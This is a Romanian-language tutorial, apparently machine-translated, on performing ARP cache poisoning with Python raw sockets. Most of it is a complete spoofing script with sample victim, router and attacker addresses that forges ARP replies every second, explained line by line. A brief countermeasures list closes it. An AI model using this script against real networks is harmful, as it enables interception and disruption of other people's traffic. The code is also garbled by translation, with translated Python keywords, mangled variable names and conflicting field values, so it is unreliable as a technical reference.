Atac de otrăvire ARP cu prize brute în Python

Cuprins

Astăzi am să te învăț cum să pună în aplicare un atac de otrăvire ARP (Otrăvire cache ARP). Pentru aceasta Voi folosi prize brute în python, obiectivul este de a vedea cum funcționează acest tip de socluri, că veți afla cum funcționează acest atac sau că puteți efectua teste în rețeaua dvs. (deși există deja instrumente în rețea pentru asta), nu că îl folosiți pentru malware scopuri.

NotăCu scapy puteți implementa această lucrare mai repede și mai ușor, dar, urmărind acest tutorial, veți putea folosi cunoștințele pentru a utiliza biblioteca și a le face singur, dacă am face-o invers, te-ar costa mai mult. Metoda prezentată aici funcționează numai pe sistemele Linux.

Mici detalii pe care ar trebui să le știi
ARPEste protocolul de rezoluție a adresei găsit la nivelul rețelei. Misiunea sa este de a găsi adresa MAC (adresa fizică) care corespunde unei anumite adrese IP (adresa de rețea).
Cache-uri ARPFiecare dispozitiv are o mică memorie în care stochează traducerile MAC - IP, vom profita de acest lucru în acest atac. Această memorie cache există, deoarece evită să solicite traducerea de fiecare dată când ne conectăm la un alt dispozitiv.

Operare protocol ARP Este simplu, când trimiteți un pachet cuiva, cache-ul dispozitivului va fi verificat, dacă există această traducere, va trebui să trimită pachetul, dacă nu există ARP, va trimite un pachet de difuzare (este special, este are adresa MAC de destinație ff: ff: ff: ff: ff: ff), acest pachet va ajunge la toate dispozitivele din rețea și va „întreba” cine are adresa IP căutată, fiecare dispozitiv la vizualizarea MAC-ului special va citi pachetul, și numai cel cu adresa IP-ul căutat va răspunde indicând MAC-ul său, în acel moment va fi stocat în cache, pentru a nu mai fi nevoit să întreb din nou în următoarele câteva minute.

Atac otrăvitor ARP Este folosit pentru a spiona datele care trec printr-o rețea sau le putem folosi, de asemenea, pentru ca datele să nu ajungă la destinațiile către care se îndreaptă. Acest atac constă în trimiterea constantă a pachetelor ARP în rețea, indicând faptul că MAC-ul nostru corespunde IP-ului victimei și că MAC-ul nostru este asociat cu IP-ul routerului. Trebuie să trimitem pachetele în mod constant, deoarece este un protocol dinamic, deci cache-ul se schimbă, poate că traducerea este ștearsă, este actualizată cu datele reale, deci pentru a ne asigura că trimitem pachete de fiecare dată, acestea nu sunt foarte grele, deci în mod normal nu vor supraîncărca rețeaua.

NotăARP este un protocol care este utilizat doar în IPv4, prin urmare acest atac nu este valid pentru IPv6, dar atacul otrăvitor poate fi efectuat profitând de un alt protocol, cum ar fi NDP, care este folosit pentru a descoperi „vecinii” într-o rețea .

Pentru a începe exemplul nostru, trebuie să cunoaștem adresele IP ale victimei și gateway-ul routerului, precum și MAC-ul acestuia, puteți utiliza nmap pentru a descoperi dispozitivele active din rețeaua dvs. și MAC poate fi obținut cu ușurință, de exemplu pentru a otrăvi memoria cache a adresei 192.168.66.2, care va fi victima mea (o mașină virtuală), voi executa următoarele în cmd sau terminal:

 Windows -> Ping 192.168.66.2 -n 1 Unix -> Ping 192.168.66.2 -c 1
-C și -n indică faptul că trebuie trimis un singur pachet, fiecare sistem de operare are un parametru diferit. Mai târziu am pus:
 harpă
Va indica cache-ul ARP, prin urmare putem vedea traducerile pe care le-am stocat (și făcând un ping anterior, avem deja traducerea cu victima). Trebuie să facem același lucru cu gateway-ul routerului:

În continuare voi pune toate datele pe care trebuie să le avem la îndemână:

  • Victima -> 192.168.66.2 / MAC: 00: 50: 56: e3: d1: 75
  • Router -> IP: 192.168.66.1 / MAC: 00: 50: 56: c0: 00: 08
  • PC-ul meu -> IP: 192.168.66.128 / MAC: 00: 0c: 29: 5e: cb: 5f

Am pus codul complet și îl explic mai jos, funcționează pentru Python în versiunea 2.x, dar cu mici modificări îl puteți adapta la versiunea 3.x:

 import socket import time, struct, binascii connection = socket.socket (socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs (0x0800)) connection.bind (("ens33", socket.htons (0x0800))) macOrigen = "\ x00 \ x0c \ x29 \ x5e \ xcb \ x5f "macVictima =" \ x00 \ x50 \ x56 \ xe3 \ xd1 \ x75 "macRouter =" \ x00 \ x50 \ x56 \ xc0 \ x00 \ x08 "code =" \ x08 \ x06 "commonpackage = macOrigen + code eth1 = macVictima + commonpackage eth2 = macRouter + commonpackage HardwareType =" \ x00 \ x01 "protocolType =" \ x08 \ x00 "HardwareLength =" \ x06 "ProtocolLength =" \ x04 "OperationCode =" \ x04 "OperationCode =" \ x04 "\ x02" SharedHeader = HardwareType + ProtocolType + HardwareLength + ProtocolLength + OperationCode + macOrigen ipRouter = socket.inet_aton ("192.168.66.1") ipVictima = socket.inet_aton ("192.168.66.2") ethVictouterIngouter + MacVictouterHead = eth1 + MacVictouterCompartida + header ipVictima arpRouter = eth2 + SharedHeader + ipVictima + macRouter + ipRouter print ("Poisoning caches … to stop CTRL + C") în timp ce True: connection.send (arpRouter) connection.send (arpVictima ) time.sleep (1)
Primul lucru pe care îl facem este să importăm bibliotecile necesare, care nu au nevoie de explicații suplimentare. Să continuăm cu următoarele rânduri:
 connection = socket.socket (socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs (0x0800)) connection.bind (("ens33", socket.htons (0x0800)))
Prima linie creează un soclu, cu următoarele caracteristici:
  • PF_PACKET: Pentru a trimite și primi pachete la un nivel scăzut.
  • SOCK_RAW: Pentru a utiliza prize brute.
  • socket.htons (0x0800): 0x0800 va defini protocolul ETH_P_IP, funcția ntohs convertește formatul de rețea în octeți în formatul adecvat pentru computerul nostru (s înseamnă scurt, adică 16 biți, dacă ar avea un l, ar fi 32 de biți).

Și al doilea va fi însărcinat cu punerea soclului pentru „ascultare”:

  • ens33: este interfața de rețea unde vom lucra, a ta poate fi eth0, dacă folosești un ifconfig îl vei vedea (vezi imaginea de mai jos).
  • socket.htons (0x800): la fel cum am spus înainte.

Liniile pe care le vedem mai jos vor crea anteturile Ethernet, pentru aceasta stabilim MAC-urile și codul (cel pe care l-am pus aparține protocolului ARP), dacă doriți să aflați mai multe despre Ethernet, faceți clic aici:

 macOrigen = "\ x00 \ x0c \ x29 \ x5e \ xcb \ x5f" macVictima = "\ x00 \ x50 \ x56 \ xe3 \ xd1 \ x75" macRouter = "\ x00 \ x50 \ x56 \ xc0 \ x00 \ x08" code = "\ x08 \ x06" commonpackage = macSource + cod eth1 = macVictima + commonpackage eth2 = macRouter + commonpackage
Următoarea parte a codului asamblează pachetele ARP, pentru a consulta structura puteți vizita următorul link și accesați secțiunea structura pachetelor. Codul de operație \ x00 \ x02 este pentru a indica faptul că este un pachet de răspuns (dacă ar fi 1 ar fi o cerere), iar funcția socket.inet_aton () convertește o adresă IPv4 în format binar pe 32 de biți. După cum ați văzut în codul anterior și acum pentru a crea un pachet, suntem concatenând părțile sale.
 HardwareType = "\ x00 \ x01" ProtocolType = "\ x08 \ x00" HardwareLength = "\ x06" ProtocolLength = "\ x04" OperationCode = "\ x00 \ x02" Shared Header = HardwareType + ProtocolType + HardwareLength + Protocol de operareProtocolLength + MacOperationCode. = socket.inet_aton ("192.168.66.1") ipVictima = socket.inet_aton ("192.168.66.2") arpVictima = eth1 + header shared + ipRouter + macVictima + ipVictima arpRouter = eth2 + shared header + ipVictima + macRouter + ipRouter
Ultima parte a codului afișează un mesaj pentru a ști că funcționează și intră într-o buclă infinită care va trimite pachete pentru a otrăvi cache-urile victimei și gateway-ul routerului, aceasta o face în fiecare secundă, deoarece avem un somn.
 print („Poisoning caches … to stop CTRL + C”) în timp ce True: connection.send (arpRouter) connection.send (arpVictima) time.sleep (1)
Să vedem cum arată execuția programului (trebuie rulați ca utilizator root):

Și dacă ne uităm la memoria cache a victimei, putem vedea că adresa sa IP este acum asociată cu MAC-ul atacatorului:

Contramăsuri

  • Utilizare tabele ARP statice, adăugăm intrările manual și nu le lăsăm să varieze.
  • Consulta ARP inversă, acest protocol va returna adresa IP de la un MAC, deci dacă returnează mai multe adrese IP, este probabil că am fost falsificați.

Aceste măsuri necesită un minim de cunoștințe, deci nu toată lumea va putea să le realizeze, dar consultând cu siguranță secțiunea noastră de întrebări sau tutoriale de securitate IT, veți găsi cu siguranță ajutor.

În cazul în care doriți codul, iată un cod zip:

Descărcați codul ArpPoisoning.zip 579 octeți 116 Descărcări

V-a plăcut și ați ajutat acest tutorial?Puteți recompensa autorul apăsând acest buton pentru a-i oferi un punct pozitiv
wave wave wave wave wave